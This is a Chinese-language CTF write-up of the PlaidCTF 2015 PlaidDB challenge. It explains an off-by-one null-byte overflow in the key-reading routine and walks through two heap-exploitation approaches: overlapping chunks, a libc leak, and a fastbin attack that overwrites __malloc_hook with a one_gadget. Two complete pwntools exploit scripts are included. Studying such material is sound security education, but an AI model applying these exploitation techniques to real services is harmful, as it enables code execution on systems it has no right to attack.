Off-By-One漏洞例题之PlaidDB

PlaidCTF 2015 PlaidDB

保护全开,非常好

root@ubuntu20:~/off-by-one# checksec datastore
[*] '/root/off-by-one/datastore'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    RUNPATH:  '/usr/local/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64'
    FORTIFY:  Enabled

0x00 查看伪代码

main函数申请了3个chunk,第一个chunk存着后两个chunk的返回指针,后两个chunk分别拷入字符串,但是到后面才发现他们都不是主角。

由于自己的能力所限,只能根据网上帖子,知道row都是以binary tree形式存储的。

结构如下:

struct row {
    char *key
    int size
    char *content
    row *left
    row *right
    row *parent
    bool is_leaf
}

接着看几个功能程序

getkey:为key申请chunk,输入的key内容比8字节大时,自动realloc两倍size大小的空间

GET:getkey为输入key申请空间,将对应key的data部分数据长度以及内容取出显示,最后把申请空间释放掉

PUT:申请0x38空间创建row,getkey函数申请8字节的空间,输入并获得key;输入data size,根据size申请size大小的空间,输入内容

DUMP:将所有row以及对应的key、data size输出

DEL:分配放key的空间,将输入的key与原有的key对比,若有该key则把相应的key以及data空间等free掉

0x01 漏洞利用

get key函数

char *sub_1040()
{
  char *key; // r12
  char *ptr; // rbx
  size_t chunk_size; // r14
  char v3; // al
  char v4; // bp
  __int64 v5; // r13
  char *v6; // rax

  key = (char *)malloc(8uLL);
  ptr = key;
  chunk_size = malloc_usable_size(key);
  while ( 1 )
  {
    v3 = _IO_getc(stdin);
    v4 = v3;
    if ( v3 == -1 )
      goodbye();
    if ( v3 == 10 )
      break;
    v5 = ptr - key;
    if ( chunk_size <= ptr - key )
    {
      v6 = (char *)realloc(key, 2 * chunk_size);
      key = v6;
      if ( !v6 )
      {
        puts("FATAL: Out of memory");
        exit(-1);
      }
      ptr = &v6[v5];
      chunk_size = malloc_usable_size(v6);
    }
    *ptr++ = v4;						<--ptr 作为索引,指向了下一个位置,如果位置全部使用完毕则会指向下一个本应该不可写位置 							
  }
  *ptr = 0;							<--null byte 漏洞溢出点
  return key;
}

想要触发该漏洞就就输入恰好size大小的数据,ptr指针会指向合法范围之外下一个字节,将其置零。

不同于Asis CTF的b00k,此时无法对指针直接进行修改,只能修改下一个chunk的头部,就是prev_size或者inuse位。

这就对分配的大小有要求,都应该是0x18、0x28等之类以8结尾的chunk,因为这样的chunk的数据部分才能够写入下一个chunk的prev_size域,最后覆盖下一个chunk的inuse位。

现在重心在于如何构造堆块重叠,构造的目的有两个,一是泄露libc地址,二是实现UAF。

0x02 准备堆块

构造如下

要让这几个chunk物理上连续,就要避免结构体的0x38的申请会在这里得到分配

所以先行申请然后释放充足的堆块

for i in range(10):
	PUT(str(i),0x38,str(i))
for i in range(10):
	delete(str(i))

然后构造这几个chunk的操作如下:

put('1', 0x200, '1')
put('2', 0x50, '2')
put('5', 0x68, '5')
put('3', 0x1f8, '3')
put('4', 0xf0, '4')
put('defense', 0x40, 'defense-data')

接下来就是一步步实现堆块的回收,以及合并,造成free状态的不同堆块重叠

#一些该free掉的chunk就free掉
delete('5') 
delete('3')
delete('1') #注意这里的3必须要比1先free,因为都会两个chunk都放入unsorted bin,而unsorted bin分配机制是先进先出不同于fastbin,所以只有这样在后面申请时才会分配到3而不是1的空间
    
delete('a' * 0x1f0 + p64(0x4e0)) #实现溢出,0x4e0=0x210+0x60+0x70+0x200
delete('4') #合并12534为一个chunk

0x03 Leak libc

此时合并后的chunk将作为unsorted bin链表的第一个节点,它的fd、bk是main_anera+88

申请一个0x200的chunk,这个大的unsorted chunk会划分0x210的空间出来,继而unsorted chunk的尺寸变小,恰好头部与key为'2'的chunk2的头部重叠,chunk2的fd被覆盖了main_arena+88,chunk2没有释放所以用GET函数可以泄露main_arena+88的地址出来。

put('0x200 fillup', 0x200, 'fillup again') #申请,改变unsoerted bin的尺寸

libc_leak = u64(get('2')[:6].ljust(8, '\x00'))
info('libc leak: 0x%x' % libc_leak)

0x04 Fastbin Attack(Arbitrary Alloc)

泄露libc,这道题就算完成一半了,接下来展开fastbin攻击

先前释放的'5'chunk还在fastbin里面放着,并且是第一个节点

我们先向unsorted bin申请空间,写入内存上存储__malloc_hook地址的堆块,覆盖'5'的fd。造出下一个堆块节点。

这个节点要能够分配,我们才能控制__malloc_hook的内容,那势必就需要绕过分配时 size 域的检验。

我们结合图来看

image-20220211112733357

通过观察发现 0x7ffff7dd1b05处可以有效构造一个 0x000000000000007f的合法size,大小刚好符合,这也暗示以后类似的attack ,没有比7f更合适得size了,所以构造的重叠的节点free后最好能放在0x70的fastbin链表中。这也就是put('5', 0x68, '5')申请0x68的原因。

image-20220211114920638

那么先申请一个分配掉0x555555759950,再分配就可以写数据覆盖劫持__malloc_hook。

先one_gadget,由于不方便判断条件是否成立,直接每一个数据都尝试直到ok就可以了

image-20220211115246625

发现0x4527a可以。

put('prepare', 0x68, 'prepare data')	#分配掉0x555555759950

one_gadget = libc_base + 0x4527a
put('attack', 0x68, 'a' * 3 + p64(one_gadget))	#错位三个字节才是__malloc_hook的地址

io.sendline('DEL') # malloc(8) triggers one_gadget

0x05 Exploit

from pwn import *
  
#context(log_level='debug')
io = process('./datastore')
libc = ELF('/usr/local/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6')


def get(key):
    io.recvuntil('command:\n')
    io.sendline('GET')
    io.recvuntil('key:\n')
    io.sendline(key)
    io.recvuntil('[')
    num = int(io.recvuntil(' byte', drop=True))
    io.recvuntil(':\n')
    return io.recv(num)


def put(key, size, data):
    io.recvuntil('command:\n')
    io.sendline('PUT')
    io.recvuntil('key:\n')
    io.sendline(key)
    io.recvuntil('size:\n')
    io.sendline(str(size))
    io.recvuntil('data:\n')
    if len(data) < size:
        io.send(data.ljust(size, '\x00'))
    else:
        io.send(data)


def delete(key):
    io.recvuntil('command:\n')
    io.sendline('DEL')
    io.recvuntil('key:\n')
    io.sendline(key)


for i in range(10):
    put(str(i), 0x38, str(i))

for i in range(10):
    delete(str(i))


put('1', 0x200, '1')
put('2', 0x50, '2')
put('5', 0x68, '5')
put('3', 0x1f8, '3')
put('4', 0xf0, '4')
put('defense', 0x40, 'defense-data')


# free those need to be freed
delete('5')
delete('3')
delete('1')

delete('a' * 0x1f0 + p64(0x4e0))

delete('4')


# put('0x200', 0x200, 'fillup')  # get another chunk 0x200
put('0x200 fillup', 0x200, 'fillup again')

libc_leak = u64(get('2')[:6].ljust(8, '\x00'))
info('libc leak: 0x%x' % libc_leak)

libc_base = libc_leak - 0x3c4b78

info('libc_base: 0x%x' % libc_base)

put('fastatk', 0x100, 'a' * 0x58 + p64(0x71) + p64(libc_base + libc.symbols['__malloc_hook'] - 0x10 - 3))  # change fd

put('prepare', 0x68, 'prepare data')

one_gadget = libc_base + 0x4527a
put('attack', 0x68, 'a' * 3 + p64(one_gadget))

io.sendline('DEL') # malloc(8) triggers one_gadget

io.interactive()

0x06 小结:

较之Asis的b00k,这道题难了不少,最为关键的是对堆块分配及释放机制的熟练理解运用,下图就是对这道题关键之处的一个体现。这种姿势其实就是house of einherjar

image-20220211185009357

0x07 另一种思路

带着疑问在自己看书之后,发现不一样的exploit的方式,但大同小异。

在预留十个fastbin的chunk后,同样申请大小为0x80、0x110、0x90字节的chunk,最后在申请一个chunk防止free时与top chunk合并。

在free掉chunk A和chunk B 后,再申请写入0x78字节将key分配到chunk A,进行null byte的溢出,将chunk B的size域最低字节覆盖,即0x110->0x100

PUT("A", 0x71, "A"*0x70)
PUT("B", 0x101, "B"*0x100)
PUT("C", 0x81, "C"*0x80)
PUT("def", 0x81, "d"*0x80)
DEL("A")
DEL("B")

PUT("A"*0x78, 0x31, "A"*0x30)   #posion null byte

将此时在unsorted的chunk B划分成两块分配出去,再释放B1和C使得两个chunk合并,此时正在使用的chunk B2就包含在了合并的大chunk中。

PUT("B1", 0x81, "X"*0x80)
PUT("B2", 0x41, "Y"*0x40)
DEL("B1")
DEL("C")							# overlap chunkB2

PUT("B1", 0x81, "X"*0x80)

分配让unsorted bin划分chunk,让fd落在B2的fd上,泄露出main_arena+88的地址

接下来就是伪造0x70大小的chunk,分配到__malloc_hook-0x13的位置,劫持malloc_hook的地址改为one_gadget地址,然后后面的利用跟前面所讲的差不多,不再赘述。

0x08 Exploit

from pwn import *
  
#io = remote('127.0.0.1', 10001)                 
io = process("./datastore")
libc = ELF('/usr/local/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6')

def PUT(key, size, data):
        io.sendlineafter("command:", "PUT")
        io.sendlineafter("key", key)
        io.sendlineafter("size", str(size))
        io.sendlineafter("data", data)

def GET(key):
        io.sendlineafter("command:", "GET")
        io.sendlineafter("key", key)
        io.recvuntil("bytes]:\n")
        return io.recvline()

def DEL(key):
        io.sendlineafter("command:", "DEL")
        io.sendlineafter("key", key)

for i in range(0, 10):
        PUT(str(i), 0x38, str(i)*0x37)
for i in range(0, 10):
        DEL(str(i))

def leak_libc():
        global libc_base
        PUT("A", 0x71, "A"*0x70)
        PUT("B", 0x101, "B"*0x100)
        PUT("C", 0x81, "C"*0x80)
        PUT("def", 0x81, "d"*0x80)
        DEL("A")
        DEL("B")
      
        PUT("A"*0x78, 0x31, "A"*0x30)           # posion null byte
       
    	PUT("B1", 0x81, "X"*0x80)
        PUT("B2", 0x41, "Y"*0x40)
        DEL("B1")
        DEL("C")							# overlap chunkB2

        PUT("B1", 0x81, "X"*0x80)
        libc_base = u64(GET("B2")[:8]) - 0x3c3b78
        log.info("libc address: 0x%x" % libc_base)
        #pause()
def pwn():
        one_gadget = libc_base + 0x4525a
        malloc_hook = libc.symbols['__malloc_hook'] + libc_base
        log.info("malloc_hook address: 0x%x" % malloc_hook)
        DEL("B1")
        payload  = p64(0)*16 + p64(0) + p64(0x71)
        payload += p64(0)*12 + p64(0) + p64(0x21)
        PUT("B1", 0x191, payload.ljust(0x190, "B"))

        DEL("B2")
        DEL("B1")
        payload = p64(0)*16 + p64(0) + p64(0x71) + p64(malloc_hook-0x13)
        PUT("B1", 0x191, payload.ljust(0x190, "B"))

        PUT("D", 0X61, "D"*0x60)
        payload = 'a'*0x3 + p64(one_gadget)
        PUT("E", 0X61, payload.ljust(0x60, "E"))

        io.sendline("GET")
        io.interactive()

if __name__ == '__main__':
        leak_libc()
        pwn()

小结

两种做法比较,前者修改prev_size域,null byte溢出在于修改inuse位;后者null byte溢出在于修改size。

后者思路如下图:

image-20220212170442968

posted @ 2022-02-12 17:35  DAMOXILAI  阅读(225)  评论(0编辑  收藏  举报